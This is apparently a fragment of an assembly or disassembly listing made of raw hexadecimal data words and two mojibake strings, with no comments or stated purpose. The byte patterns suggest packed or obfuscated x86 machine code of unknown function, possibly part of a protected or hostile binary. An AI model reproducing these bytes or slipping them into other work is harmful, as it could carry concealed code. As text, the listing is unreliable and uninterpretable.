88826828h, 6E2EEE88h, 928774C6h, 1AB67F7h, 43D38833h dd 9E85Eh, 0D0CA0000h, 733332BCh, 56330CFBh, 5AC0B70Fh dd 0C88B665Ah, 0AE9h, 0BB7F7800h, 5A9CCC93h, 0B52ADCE3h dd 68FFB8FBh, 0FA8B2A0Eh, 66D78B66h, 99D5D781h, 0D933D181h dd 34B52A93h, 12E9h, 0DC972400h, 7ED5C25Eh, 2C925A45h dd 2A23C56Fh, 0FC92B9B3h, 81663CB0h, 0FE469DFh, 0E981C6B7h dd 4128B8F9h, 3840Fh, 0BF0F0000h, 0F2BF0FF2h, 0E860EFB7h dd 12h, 28764DA6h, 2D37FED9h, 72370DB0h, 5CDB7EF3h, 8C0F1B70h dd 0 dd 18E0F5Bh, 0FC000000h, 0C2BF0F61h, 0BE66CB8Bh, 8E9538Eh dd 1E000000h, 60245840h, 664E2D1Dh, 10E9DE8Bh, 0D1000000h dd 0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h, 8BAEB82Dh, 0F8D881F2h dd 0F2C2029h, 86h, 0D6816600h, 0B70F06B4h, 66CE8BC7h, 35BBD88Bh dd 0BB391683h, 0DE3E9C3h, 0BE953h, 0C8910000h, 7438F5E8h dd 0F82DCF41h, 8B665B09h, 880F60FBh, 3, 0FD8BF0Fh, 588h dd 5FC1BA00h, 0E86129A6h, 0Ch, 0FF811DACh, 6F92AFDBh, 10CA744Bh dd 0D1EEB2BFh, 0EE85A0Fh, 0FC000000h, 0A34180ACh, 3603DDF4h dd 0EC34C62Eh, 7387BF83h, 665E37B7h, 60CFF381h, 5810Fh dd 81660000h, 664571E2h, 0AA18E081h, 518EB1FCh, 5850Fh dd 81660000h, 5AC25ED8h, 0B70FCB8Ah, 0AE8D1h, 3F240000h dd 0B19E241Eh, 7735C364h, 5890Fh, 81660000h, 5FFFB8DBh dd 0FF08B60h, 480h, 0CAB96600h, 8A0F61A7h, 5, 63F08166h dd 38F0F33h, 0F000000h, 0BE66F9BFh, 0F9607FC6h, 5A22F181h dd 0E9615D04h, 0Fh, 20D698B1h, 2AD55634h, 0F7A0ED95h, 0E9E98665h dd 8, 0D6022C57h, 0DBA78F6Ah, 0A8C0Fh, 5E90000h, 10000000h dd 97462078h, 42B4C7B2h, 0A623E081h, 6DBB34ABh, 66750DEDh dd 0AE9DE8Bh, 0CA000000h, 0EC254467h, 56C63062h, 81515047h dd 0B356A4E6h, 0B05A5A38h, 7E9BFh, 6F990000h, 0D4C9D748h dd 0B866F54Fh, 0D68191F2h, 16947999h, 68C0F52h, 0F000000h dd 82h, 0B70F5900h, 0D08166F9h, 13E98ABFh, 80000000h, 4ADE3673h dd 1C9A1F94h, 46CC1D79h, 967C3C9Bh, 0FE86054h, 0F8000000h dd 2C23C7ECh, 5665C78Eh, 2CC42E64h, 0F96025B9h, 13E9h dd 4B7FC800h, 8EDCD64h, 0EB5660Ah, 394770F8h, 60413F4Dh dd 0D88A5A61h, 81CB8BFCh, 645555D9h, 90D7807Ah, 6286EA81h dd 800F0005h, 0 aBqejKflAS db '│О╔╕©kf▀б─ъ/И',8,0 align 10h dd 0C300C700h, 775B2631h, 0FD38BE9h, 8Ah, 7E900h, 75CE0000h dd 0D1BBF57Dh, 9BE3806Ch, 87EE8166h, 0BE6660F5h, 0E8600CD9h dd 11h, 0F6A5653h, 0DA97A76h, 1E419516h, 8B205336h, 830F594Fh dd 0 dd 14E86161h, 98000000h, 0AC0999B4h, 739CB39Fh, 0F574BC12h dd 0E78B982Ch, 665FBDACh, 3865E681h, 8A5E5659h, 62B8BAEBh dd 0AE9244Dh, 4D000000h, 6D0DB6D3h, 0F4466F97h, 0DE8B6656h dd 811AEF80h, 3A5E45F6h, 0D381660Ah, 10E9768Ch, 27000000h dd 0C7AAB656h, 5A524181h, 0D5B68BB9h, 0E9A2A10Ah, 0Dh dd 432BD75Ah, 0A03BF5FDh, 0BF7080F5h, 0E9606098h, 0Dh dd 0CC474D31h, 0C2852790h, 2B42BAAh, 87BA660Eh, 5B526137h dd 0FE961h, 658E0000h, 0AE89E967h, 24832C86h, 1D9DF9EDh dd 8166F8C8h, 0FCCD1AD2h, 0EE850F8h, 3000000h, 0A4C20772h dd 5527A0FDh, 121C45B0h, 0DE8B669Fh, 66565B5Eh, 7FCD081h dd 66D68B5Fh, 3468E881h, 0E9F2BF0Fh, 0Ah, 2A390ADDh, 63E52BE1h dd 8166E823h, 0E98C63E9h, 0Ch, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah dd 1FD98056h, 0AE95Ah, 25010000h, 1F263D87h, 406E003Ch dd 7E8h, 6BB49200h, 0C1CC46F7h, 6058F38Bh, 3CFF381h, 0EE921AAh dd 0BB000000h, 9ECAC265h, 4109241Fh, 0E185A48Ah, 0BF0F616Ch dd 25E080F7h, 0A0D54BBBh, 5E869h, 71DC0000h, 561CF711h dd 0BF0F5F59h, 71BEBED3h, 0BA6601F8h, 80F9D9B7h, 8B6662F7h dd 0F88B66F9h, 68D0Fh, 0F6810000h, 2B2BB24Fh, 0E9BCD780h dd 0Dh, 0E11F813Dh, 0B8F6FF06h, 2AE0D31h, 12E850h, 0DE2D0000h dd 24A943F7h, 0BAE51063h, 43E30F1Dh, 0D19BA1F5h, 6860Fh dd 0E6810000h, 0D6DB506h, 0BE95Bh, 0B2AC0000h, 66F06F71h dd 256B92F3h, 3DC981E9h, 0E85AA3F2h, 14h, 0C59948D1h, 2B5778ADh dd 42A032C3h, 0DD6FD429h, 3727525Ch, 0DCDF8156h, 587E98B0h dd 0BBE68059h, 12E9h, 87F03600h, 5EF87C1Eh, 75CD5C86h dd 4D290DBAh, 0E83BA72Fh, 13h, 374E550Dh, 0AC3641FDh, 33784922h dd 6962E7B1h, 5B50AC2Ch, 0BE9h, 46B5AE00h, 0E2E73112h dd 9AECFDB8h, 0FE9F560h, 94000000h, 0AC4BA77Fh, 99964B61h dd 8D8DBFCBh, 806139E3h, 0B6BF38CBh, 0E94E34AEh, 0Bh, 0F4EE2E6Eh dd 0E787E3Eh, 0F4C3385h, 5E8CFBFh, 0B8000000h, 0B8AD053Bh dd 0F4DA8166h, 8A0F5FB4h, 3, 662BE480h, 0CF8BC28Bh, 0CE9h dd 0C5E0D300h, 40045D3Eh, 0E9116BCEh, 0CFC18183h, 60389B54h dd 0CB9CB966h, 0BF6661F8h, 0C0BA231Dh, 8B5A874Eh, 12E9D7h dd 44740000h, 9C7216D0h, 0B8538E00h, 58785864h, 2ED1ED2Ch dd 8E960h, 0B9D40000h, 59B9F83Dh, 0B70F8383h, 7BBB61D0h dd 0B824C3EFh, 3DE02388h, 0FF8B70Fh, 388h, 0F98B6600h dd 0C38129B4h, 623B5E12h, 0BE9h, 0F7E3A300h, 3AAEF52Eh dd 6216C0DAh, 50D2DC80h, 7288E281h, 66594A71h, 0EBBFF18Bh dd 0BF4A25E5h, 761B2614h, 5E9h, 19FBCE00h, 8166EA14h, 0B4DB42CFh dd 8166F86Dh, 0B31108D3h, 60C38B6Fh, 0F2A9E781h, 0B86638EBh dd 66611B54h, 0B62ED881h, 61C38B60h, 0F1D98166h, 4800F42h dd 66000000h, 56B5E4B9h, 0F5FE8B0h, 984h, 3860F00h, 0F000000h dd 0F860FAB7h, 0C5ECD081h, 66612636h, 111CC081h, 60D0B70Fh dd 0D88166F8h, 0F619DA7h, 38Ch, 0DF8B6600h, 0FFB8B66h dd 0F381C8B7h, 242E44E2h, 0B966E38Ah, 830F4EF5h, 0 dd 2CFF7FBBh, 0F08B6622h, 860F70B7h, 1, 28D0FF9h, 0B0000000h dd 17860F8Dh, 0E9000000h, 12h, 2D1545DBh, 704B3B96h, 15A01B90h dd 28B3EB1Ah, 8B66F88Ch, 66AFB5C8h, 307CE81h, 14E9h, 38872A00h dd 0D5926D76h, 3825D80Eh, 0DFBAEF84h, 0F222B716h, 5E9FFh dd 0A9380000h, 8098DD53h, 0F60C4D6h, 681h, 8A0F00h, 61000000h dd 8E9h, 0E5C9D600h, 6693D529h, 6E9ECh, 5EC20000h, 0EC553BE8h dd 8166D88Bh, 0E8D889F6h, 0Bh, 0A86408A7h, 59090C59h, 0F7196B3h dd 0E95BD6BFh, 7, 83130EDEh, 604FCA3Dh, 11E9h, 0F5CDDC00h dd 0B400C28Bh, 9EE0E601h, 5EDD9155h, 850F1091h, 4, 28A0BA66h dd 5EE1B861h, 11E95EE1h, 6C000000h, 11D9E5B9h, 0A8323B2Fh dd 91FB8687h, 0BB62790Bh, 800FFC60h, 6, 789C381h, 0F6159BAh dd 785h, 0B70F6000h, 615E53CBh, 850Fh, 7E90000h, 0A1000000h dd 72DF765Ah, 8B668BEBh, 5860FCEh, 0BA000000h, 17CAE8AEh dd 0DE960F5h, 97000000h, 0CA9AE530h, 0DB977946h, 0C0F71507h dd 8783E881h, 57616682h, 8FD18060h, 5B616160h, 0B3E98166h dd 0DBBF0F0Ah, 0F8E8B1F5h, 48F0Fh, 0B2530000h, 6E95A29h dd 3E000000h, 5AB64611h, 3860F65h, 0F000000h, 80F5C0BFh dd 6E9B1F4h, 0C000000h, 8B604221h, 27BF660Fh, 0DEBB6635h dd 0C8816010h, 7F55555Bh, 8B6173B1h, 0E9F78AF8h, 7, 0D95CA43h dd 0F8243FCAh, 0B3C2CD80h, 0E181609Bh, 0A765C5Eh, 12E9h dd 0C229F800h, 78A87D66h, 0CE827E88h, 0FEC78155h, 617D4815h dd 0D860F60h, 0E8000000h, 7, 0BC805189h, 5E3FAD42h, 0CE9h dd 29533500h, 0DF32F05Bh, 0A7E2441Eh, 66566134h, 5A4E74BAh dd 0C3B70F60h, 0AE8h, 0EC78FC00h, 0A19DF547h, 0F9B7EB3h dd 6159C2B7h, 0AE9h, 5FC80E00h, 0D25C5D06h, 8B109415h dd 5EF853C8h, 2CE3C681h, 0F9605B34h, 6185E380h, 0C4EA8166h dd 0AE810h, 7F240000h, 503BC5B7h, 0BE598A54h, 10E960h dd 4A5B0000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 0C281A0B4h dd 41EAA48Ch, 0F2805A61h, 1C870F19h, 60000000h, 12E9h dd 0F160E800h, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh, 66BAA0FAh dd 0E961CA8Bh, 8, 0A6418DABh, 410E5CD9h, 14E9h, 2598F600h dd 0D3C151F8h, 6EBE774Ah, 2B6CC696h, 0C1BF6FC6h, 49ABFB1h dd 3B41C47h, 218A0Fh, 0FE80000h, 3A000000h, 0B700BBBEh dd 455CFEDCh, 60EBD100h, 7E9079Ah, 0DF000000h, 0CF00E35Eh dd 565A2AF2h, 684A93BEh, 0AE95F1Eh, 14000000h, 0EA8E3936h dd 0FEAB0E26h, 14E911h, 887A0000h, 0EA88390h, 1B6EBD75h dd 0EF368256h, 0F0DEBC1Ch, 0BF0FE37Fh, 11E9F7h, 0F20A0000h dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 0FEC7C92h, 882h dd 2830F00h, 8B000000h, 0DCBF66F7h, 10E898h, 905C0000h dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0BF66F37Ah, 0F859B3EFh dd 0F41E380h, 0E2BAC0B7h, 8134283Eh, 3D5CD5C9h, 0D7BB663Fh dd 1C850FD7h, 60000000h, 0F4640FB9h, 10E950h, 456D0000h dd 6ADC2377h, 89988A8Dh, 9058CC8Fh, 806194F3h, 6656AEE5h dd 4DFAC081h, 0D7A0B85Ah, 0F8F80873h, 3810FFCh, 66000000h dd 0BE66DF8Bh, 0FA8B314Ch, 8166FBB3h, 667DF0E1h, 76ACD881h dd 38E0FF5h, 80000000h, 0C4BB97F7h, 0BE4EB304h, 27711F16h dd 0F96CBE66h, 14E9h, 2118A400h, 0DA220FD6h, 553D1D8h dd 9DD38275h, 7A55113Fh, 6E916h, 79290000h, 0DB2D1860h dd 9E9h, 3726E500h, 5B71C665h, 0CF80DCB8h, 62D1812Eh, 66654A8Eh dd 8E8F38Bh, 44000000h, 61DBBF1h, 0E93E1D23h, 0Fh, 0F7279297h dd 4DFC68E2h, 0F3BB9F64h, 594BCA51h, 0FFEBF0Fh, 1B8Fh dd 0AE800h, 21A70000h, 0B001D64Bh, 0DC9EC951h, 6E9h, 7B650A00h dd 5A4ED958h, 0B6C1BF0Fh, 8E95Eh, 1E990000h, 91EDEC5Eh dd 0DE81DB05h, 46526E89h, 57F28B66h, 9F08BE66h, 5E96058h dd 17000000h, 0D891D65Bh, 0BE61D18Bh, 3F0A0F64h, 29C28166h dd 67B96028h, 604B913Ch, 55EB8166h, 0E867B8B7h, 616102BFh dd 5AD98B57h, 8454D081h, 820F31B5h, 2, 52F8CF8Bh, 60605AFCh dd 50FABF0Fh, 0D480615Ah, 0BF0F61F7h, 0DAB966F6h, 0BE9F5FDh dd 6B000000h, 0ECAB6419h, 741D31A8h, 0CE8BE54h, 0FB000000h dd 69ED9450h, 80C09485h, 0E9D67A15h, 0Eh, 15BE0C18h, 0F4C39588h dd 0D964D7BDh, 805AC4F2h, 0D5BBD3D6h, 0E867C289h, 10h dd 223265ABh, 0A4B08EDFh, 0D741ACABh, 0CCA14C98h, 0DE8h dd 0D60F400h, 0D5A0EE7h, 0A5547149h, 816641EEh, 5EE63DF6h dd 0E8EF805Fh, 9E9F9h, 9C960000h, 0D554A104h, 8B47C710h dd 0BEBA66C7h, 812EB1AEh, 0B4381AD7h, 0CB816651h, 0DE9207Fh dd 0F5000000h, 11584358h, 40E53698h, 0EA9F4D99h, 0FA8B60F8h dd 6820Fh, 890F0000h, 0 dd 3F2EB861h, 8D0F0CBEh, 2, 0E58AA4B6h, 0BFA8B6F5h, 3C8779A7h dd 1210C981h, 0BFF87A32h, 0D935802h, 1E57B866h, 67DA8166h dd 7800F60h, 60000000h, 0ED59B1BBh, 0C68B6161h, 0CE8h dd 0C6933500h, 18A5D607h, 0E7820138h, 0EE9533Dh, 0C7000000h dd 59949C46h, 0E10A15D0h, 561CA90Bh, 0F95A59CDh, 0E8C38B66h dd 6, 7ECD87F5h, 805E250Dh, 0C1800BDCh, 8147B471h, 63DC4BC2h dd 0AE6CBB66h, 0BF0F7895h, 17BA66D2h, 0C181608Dh, 357B88F4h dd 50CDB960h, 0B70F202Ch, 0E86161C2h, 8, 385CA369h, 4D2208F5h dd 48B0Fh, 0B8660000h, 665A1B86h, 0E84E77B8h, 9, 0A54AE936h dd 3D291DC4h, 0CE868h, 288E0000h, 67B21201h, 0A66D42FCh dd 12E9BAFDh, 0E000000h, 100E9D70h, 20DFB426h, 871D82A7h dd 0AAFD1665h, 665F58DCh, 0C4AAE681h, 0FE8h, 1621D800h dd 374D21D1h, 11F76C32h, 20A7DEDDh, 6890Fh, 800F0000h dd 0 aYfTslS db 'Yf╦TИ▀ь╧ыжг"И',7,0 align 4 dd 0D6E64F00h, 8DC10376h, 4EDC53B8h, 81665173h, 5A4DECD8h dd 13E9h, 4F050D00h, 8CE125F3h, 44966C43h, 0ECBD939Ah dd 0CB15D35Ah, 13E8h, 90811400h, 1E202082h, 4D0F8747h dd 7C31D9C5h, 9C010A35h, 5AFEB70Fh, 6616B660h, 61534FBAh dd 1DCA8160h, 0F358457h, 6661DBBFh, 0F5FC1BAh, 1D8Bh, 13E800h dd 19CE0000h, 0D385EE61h, 0F72D1C8Eh, 0C50D9EC8h, 63175899h dd 0F7BB6655h, 820F5FE1h, 0Ah, 5E9h, 2E6A3F00h, 840FB3F2h dd 0Bh, 6E9h, 9D10EB00h, 50233B6Eh, 0EE8h, 0E6D3FD00h dd 0B59EC092h, 2C9A4FB6h, 0E87B68B7h, 0Eh, 0CB8DE535h dd 837FD023h, 2FEFDF49h, 585E81E9h, 9810F5Fh, 0F000000h dd 38Ch, 83EA8000h, 8E8h, 12B0EC00h, 4C0B3ECBh, 58CE8BCAh dd 6652C78Bh, 8159C78Bh, 6C6EFAEEh, 5AC68028h, 28C0Fh dd 0CB30000h, 7840Fh, 60600000h, 32D88061h, 0EB815661h dd 2C10129Dh, 0E9CE8A58h, 7, 81BAB11Ch, 604E2FFEh, 5E8A92BAh dd 61C6B379h, 0DE952h, 0B16F0000h, 0F99F726Bh, 894B727Fh dd 5AF5ED68h, 1860F60h, 0F9000000h, 6168CC80h, 0E781DE8Ah dd 11381E96h, 14E9h, 595F0100h, 4D80C8B9h, 0B57EC520h dd 2E805396h, 49ACF3A8h, 13E892h, 4B2C0000h, 0C54061F3h dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 7D25BF44h, 815A4820h dd 0EB2353C8h, 0E6816674h, 0E8B880EDh, 0E910AD03h, 0Ah dd 61272C6Ah, 4AE8B7ACh, 0F88AA2FEh, 0B7C88166h, 0CA8B668Eh dd 0CA816660h, 0F619901h, 481h, 77BE6600h, 18C0F6Eh, 0F8000000h dd 5E9h, 0CF8ABA00h, 0D28156DCh, 6A42D25Ah, 0F60D68Bh dd 0E861F9BFh, 0Eh, 5004EDB1h, 5AB5EA67h, 0D28146A2h, 14E94048h dd 0F000000h, 0BFCF83C5h, 60F9A6E1h, 1E565F98h, 8A12C9BDh dd 5EFF9BD7h, 0B966B9B2h, 850F884Bh, 1, 0BF0F50F8h, 605159CEh dd 0F61CF80h, 5A61D9BFh, 10810Fh, 810F0000h, 0Ah, 5E9h dd 2BA96000h, 60F9E6EDh, 3810Fh, 8B660000h, 11E961F0h dd 0EB000000h, 82BD018Dh, 1422794Bh, 102AAEA5h, 3672A082h dd 5BFB8B51h, 0B966C7B0h, 0E960F60Bh, 10h, 0D49E51DFh dd 1C0D7F7Ah, 0F8AE635Ah, 0FDA5390h, 8B615DB1h, 0DE8F1h dd 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 0E93DC445h, 10h, 788E179Dh dd 0F102E9BEh, 8398B409h, 9D807870h, 0D98BF55Fh, 0B870Fh dd 8E0F0000h, 5, 9FD3D2B8h, 0DE82Eh, 19B90000h, 0F0F590AAh dd 25A0CBCCh, 0F561C330h, 0BF0FFC59h, 6E957C3h, 34000000h dd 0A61EF131h, 0AE95F28h, 0A2000000h, 68C943D7h, 65C12B2Dh dd 0E6BF66E0h, 0E9F5F514h, 0Ch, 9282DA6Ch, 366DD224h, 273D0EE0h dd 18880Fh, 13E90000h, 45000000h, 7038B10Ah, 673D007h dd 0FAE7029h, 9E17ADEAh, 0BF664742h, 94B89AB8h, 8B1A9DF9h dd 0DB8160DEh, 433CCFAFh, 53D18B61h, 6967D7BFh, 810F5B5Eh dd 6, 8A0Fh, 9E90000h, 54000000h, 0BA5F4C6Eh, 4FE3BBAFh dd 8E860h, 67BB0000h, 3015966Fh, 61600BD3h, 5E858h, 0BA670000h dd 0B95FA5E7h, 7B9301DEh, 0CEB8615Ah, 0E977F95Bh, 0Ch dd 3A471BC5h, 0AB6DD989h, 92720457h, 0D2BF0F60h, 5DDFF081h dd 0B461167Bh, 0E85B57D4h, 10h, 5E1E9963h, 591EDECh, 4E90DDDBh dd 0AF7FCCC4h, 84DB8166h, 0B9605F41h, 561BDB68h, 38C0Fh dd 0F4800000h, 8B5261E5h, 0BF0F5ADFh, 0BE9F2h, 5700000h dd 49FD6FF4h, 12E17381h, 0DBBF0F52h, 8BEFE280h, 0F6EE81FAh dd 8B156386h, 11E9C2h, 0D7D30000h, 0D2CA6EAAh, 0B0877283h dd 33D792A7h, 0F3AE906h, 1680h, 11E900h, 53840000h, 0A573854Eh dd 9FBE3693h, 0CF081855h, 516FEDEAh, 8B5A5B51h, 0F18166C3h dd 7E83ED5h, 83000000h, 0D639AEB2h, 0B96657D7h, 0B65B0B84h dd 6800F83h, 81000000h, 0D229CBF2h, 0EE9F970h, 61000000h dd 0AA76BF2Eh, 0E2A1CA07h, 35FA25E2h, 0CB8A6018h, 5870Fh dd 0A6BE0000h, 6116EAA9h, 0D850Fh, 8E90000h, 38000000h dd 5E381FC2h, 51EEB546h, 0E85AF18Bh, 6, 119BE1BAh, 0E96069F9h dd 9, 0E6B70A9Bh, 0C64B31CEh, 880F8Fh, 61000000h, 0DF8B665Eh dd 8830Fh, 0FC600000h, 0F0D0D1B9h, 9EBE6170h, 602AC5A3h dd 61F9F0B2h, 68B932B9h, 0D78B6628h, 66F28B66h, 0F97384B9h dd 0FCCB8B66h, 6890Fh, 0C7810000h, 3F0F2F00h, 0FE9h, 0A6DDA900h dd 798D73EDh, 699FE2CCh, 0A9EB6847h, 8A0Fh, 6E90000h, 11000000h dd 9983CF77h, 0E96050FEh, 0Fh, 0CA37D555h, 0C2241F1h, 3F1F9F28h dd 0B03CBD63h, 815A61BCh, 0AEE81BDEh, 858AB97Ah, 14E824F4h dd 8000000h, 6C99314Ch, 0AE877A4h, 0C0AFB946h, 0C3EC74D5h dd 0E96A75FDh, 0Eh, 1710C54Ah, 0AF51FEEBh, 0DAFAA8h, 665FA75Ch dd 0B966F18Bh, 0DA8079D4h, 11E857BBh, 65000000h, 24ADF95Dh dd 41107FE7h, 4605CAD3h, 65951262h, 853FBA66h, 81665A58h dd 8B74FCE1h, 0C68056FAh, 51605A41h, 5FC38B66h, 8E9h, 0BD4A5100h dd 953F815Dh, 0BB666120h, 0C38B9C12h, 5FCB8B56h, 3820Fh dd 0D0800000h, 0B7D18BE5h, 0C68166EAh, 0BB667F52h, 7E93E52h dd 44000000h, 2E7C34D6h, 810FD36Ch, 4, 7A5EBF66h, 8E9h dd 0FEEC4100h, 0AEC8DECh, 7D99BF52h, 8E95AA8h, 7000000h dd 0F90B11FDh, 0F9F0A93h, 18Fh, 8166F900h, 8BD2B8DEh, 9E8F9h dd 24780000h, 0D1878980h, 0F5DED00h, 289h, 5B616000h, 0F85F51F8h dd 13E8h, 0E160F800h, 0C768901h, 0B08FBDDCh, 0B3CD8BFh dd 0D249EC7Ah, 58C88B66h, 8F281F8h, 0F0C73EBh, 8Eh, 6ED38100h dd 0E870BBC4h, 14h, 3C24A44Bh, 0C6B49F57h, 0F50AA1E2h dd 88CEDF62h, 97041AE4h, 98B959FCh, 0E93A7B09h, 0Fh, 51A88CF8h dd 0B0EB8191h, 11CCF69Bh, 0F9A49C4h, 286h, 81C28A00h, 9DDD74C7h dd 57B1606Ch, 0FEB96661h, 33CA8183h, 500380C0h, 0AFF18166h dd 81665BA8h, 604AE4D2h, 58A0Fh, 81660000h, 0E91AFCEEh dd 0Dh, 0A4DAE60Bh, 98551F55h, 0ADD2643Ah, 8B66610Fh, 0BF0F53F3h dd 0BB665ADAh, 8B668D37h, 0DA8166F2h, 8B6643F9h, 0D9BF0FCEh dd 10E9h, 772B0B00h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh dd 0D8A0F56h, 0E9000000h, 8, 0DF96A9B5h, 7A5886D2h, 0FE860h dd 0FD140000h, 1FB789D0h, 97299787h, 2235248Bh, 5E8DB578h dd 14E9h, 79FFEF00h, 755FCDEEh, 26FCABD4h, 0C2CB6678h dd 0E336EEC0h, 0B70F6198h, 0F78160D2h, 5BA4268Bh, 3830Fh dd 8B660000h, 0BF0F61C1h, 0D18B51FEh, 0F281665Bh, 850F0B6Fh dd 2, 42BE80B1h, 0B87626A5h, 5BB80D44h, 630DE781h, 0D1802CA8h dd 0FFAB382h, 280h, 0E9F08B00h, 0Bh, 8953158Bh, 0A7D01BE0h dd 8AD28372h, 11E9C6h, 16160000h, 6D8AD068h, 25C5615Eh dd 0C97144C3h, 8180A7FEh, 4E3F68F6h, 146DB819h, 0E9501BC8h dd 12h, 0B5559A1Eh, 0E64B91BBh, 98090D9Ah, 0C1A589BEh dd 0BA5FD7DFh, 72D7E25Ch, 68E98166h, 0FE8B66EFh, 83B86660h dd 61C38A7Ch, 0BFD38B66h, 3276133h, 5E9h dd 7EDB9000h, 0FF8AAF3h, 38Ch, 4DD88000h, 0AEDF8166h, 14E947h dd 72710000h, 69F25C7Dh, 80163E5Ch, 7FDBEF8Bh, 0D0B3B3E4h dd 0B70F002Fh, 0FF38BCEh, 0D68BCBBFh, 0C9DFBA66h, 0E6816652h dd 8B5FA4ABh, 0E9F9F9D0h, 0Dh, 4D4D8775h, 7F6C7A8Bh, 59B350Fh dd 60EF8ACDh, 11E9h, 61D8CA00h, 9E772A7Fh, 5EF71322h, 6CD62C0Bh dd 0E861555Bh, 11h, 0D8E90424h, 533774B6h, 0B87AAF53h dd 58208AA5h, 45D1BB84h, 80587B6Eh, 66FCE8D9h, 5052D68Bh dd 9E9h, 0A2FF5200h, 4C7A6B79h, 5958BB8Bh, 0FE89DB7h, 91000000h dd 7335D7D4h, 6D09455h, 3A316F38h, 8B6675D3h, 0B9665FF8h dd 0BB66EE37h, 0BA6634AAh, 8B66FB87h, 0FE8FCD9h, 96000000h dd 5825B8FAh, 0C14493D3h, 286A6948h, 0EE82FDDh, 67000000h dd 0CDD67F7Dh, 67512657h, 0E6481895h, 0AE909h, 651F0000h dd 8871557Eh, 0D13EF151h, 81665B5Eh, 0F0585E3h, 7E8C7B7h dd 41000000h, 1D343D5Dh, 12E84099h, 64000000h, 42D090DFh dd 0F92C04F9h, 0D3CE78BEh, 0DE486089h, 8E924h, 0D6130000h dd 0C979B0F9h, 585912F6h, 66E8DB80h, 0BF0FF98Bh, 0F78166FFh dd 0D9BFE046h, 81437D0Bh, 58AED5F2h, 0F524B166h, 7553BA66h dd 11E9h, 75DBDD00h, 0E38C81F8h, 1E5C492Eh, 1240982Bh dd 70BA24BBh, 0BB1E434Ch, 7138A307h, 0E9D0B70Fh, 0Bh, 2AC62C9Bh dd 2E301A78h, 818DAD98h, 0A6330DEAh, 0DE878h, 0F16A0000h dd 0C69BA0E1h, 3C3E42DFh, 5BE3E931h, 74E4BF66h, 12E950h dd 0E32E0000h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah dd 8E95Eh, 4F860000h, 0A2E91E6Ah, 0BF0FE333h, 81BA66CBh dd 0B70F60A3h, 619BB4C6h, 0A64ECE81h, 0F88B63B0h, 8BF08166h dd 0C3BF0F07h, 6660E78Ah, 7DE1EB81h, 64EB8166h, 0E18A61A7h dd 12E9D0B0h, 0C6000000h, 42C17E39h, 0A0006EC0h, 9F94CA40h dd 0C75106EBh, 0FE8B600Eh, 12E9h, 0D2C6A400h, 0DDCB47h dd 2BC1F979h, 0ED2ADD05h, 61D6B4AFh, 0F8FAB70Fh, 0FE9CF8Bh dd 0A0000000h, 89B37Ah, 7DB51F75h, 0BB7ED3B5h, 8B66E1C0h dd 0F18166C6h, 0CE94ED2h, 57000000h, 35593300h, 0E0E1B1C5h dd 66530B03h, 0CB1E281h, 0CE8h, 2F90A400h, 0E8988340h dd 90EF3AA5h, 9EE81C0h, 5A426AACh, 14E8h, 0E03B3500h, 0C45D7E9Dh dd 15A1A795h, 24BA5261h, 130A2F7Ah, 5FEEB41Fh, 6820F60h dd 0F000000h, 82h, 61C58A00h, 42EE8160h, 66674C6Dh, 61E78CB8h dd 1810Fh, 66F90000h, 0F508C081h, 8E9h, 0C711100h, 93F10CA1h dd 0DE9C2h, 96C50000h, 5CCF0A63h, 5D6A7A4h, 0E9CC01DAh dd 0Ch, 0C680FB67h, 0E4009226h, 6B0A9712h, 48B0Fh, 0B8660000h dd 8A60999Ch, 61D18BD5h, 6E9h, 0F4555300h, 0BE7AFCBFh dd 4E4C6879h, 91C7BAF9h, 8B6661FDh, 0D3BF0FC1h, 0AFB6C381h dd 0D18154B8h, 26E2B4FDh, 0FC68B66h, 8160F9B7h, 9B098DDEh dd 840F71h, 61000000h, 51CFBF0Fh, 55C18166h, 8B605EB8h dd 0BF6661CAh, 0C781C53Bh, 75FA483Fh, 8F0F6051h, 0 dd 0BDB95961h, 6056DAD4h, 8A0F60h, 81000000h, 970063D6h dd 61FC6150h, 0B96624B5h, 0E860ACDDh, 12h, 0CFAFCE3Ch dd 0E09A5B2Bh, 9C2A8202h, 7BA4C058h, 0D68B7279h, 0BB8615Bh dd 662388A2h, 668F26BEh, 4842E681h, 11E9h, 58F1A300h, 737E5B7Fh dd 0B5D6F54h, 912AC925h, 0FE9C9C4h, 43000000h, 6E1DD302h dd 0C4D450BBh, 0B0BF1862h, 0E8F5DC0Fh, 9, 0B1FC0C96h, 3472FE9Ah dd 0F55FBBF8h, 5159254Ch, 510CB866h, 0EE85Fh, 61200000h dd 0E471F77h, 0C576C0FAh, 80629C74h, 7F8344B9h, 10E9596Fh dd 0C4000000h, 0B091FE2Bh, 2D423CC1h, 40459CCDh, 0BB43A039h dd 84A2CE2h, 8B9A98BAh, 12E83Dh, 24330000h, 137D73DDh dd 566DF238h, 34F951Ch, 762ABC28h, 13E960h, 0F0E40000h dd 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 6B5951A0h, 0DE89Ah dd 0D7B30000h, 0F704FA8Ah, 0B427A99h, 5FDEC450h, 5E85861h dd 67000000h, 0E45AFFFAh, 0BF5E0FB4h, 1BC0D15Fh, 5890F60h dd 66000000h, 5FCED381h, 0A096BB66h, 0FC38B61h, 289h, 0FABB300h dd 480h, 40BE6600h, 0DFBF0FA5h, 98BAF98Ah, 0F395406h, 8B66F8B7h dd 0FE8B66DFh, 0AE9h, 9E0E0300h, 0C4D39B7Bh, 531613B3h dd 41E9BB66h, 82BA6659h, 80E981F8h, 561006BFh, 6059F08Bh dd 11E8h, 88391800h, 8C00AA69h, 4AF79F50h, 554CCCE3h, 0EF812797h dd 43E9ED21h, 0F18B6659h, 0CCE38061h, 9E860h, 50440000h dd 992BC527h, 0F138F96h, 8Dh, 0E9615900h, 0Dh, 7E53F4E9h dd 524C933Bh, 2DAEBEB7h, 0F5D08BE1h, 0B866F48Ah, 8D0FB879h dd 2, 0EE80C38Ah, 60C28BF1h, 5FCA8B56h, 0AE961F8h, 13000000h dd 4E42CFD0h, 52BF6A26h, 7E978h, 93420000h, 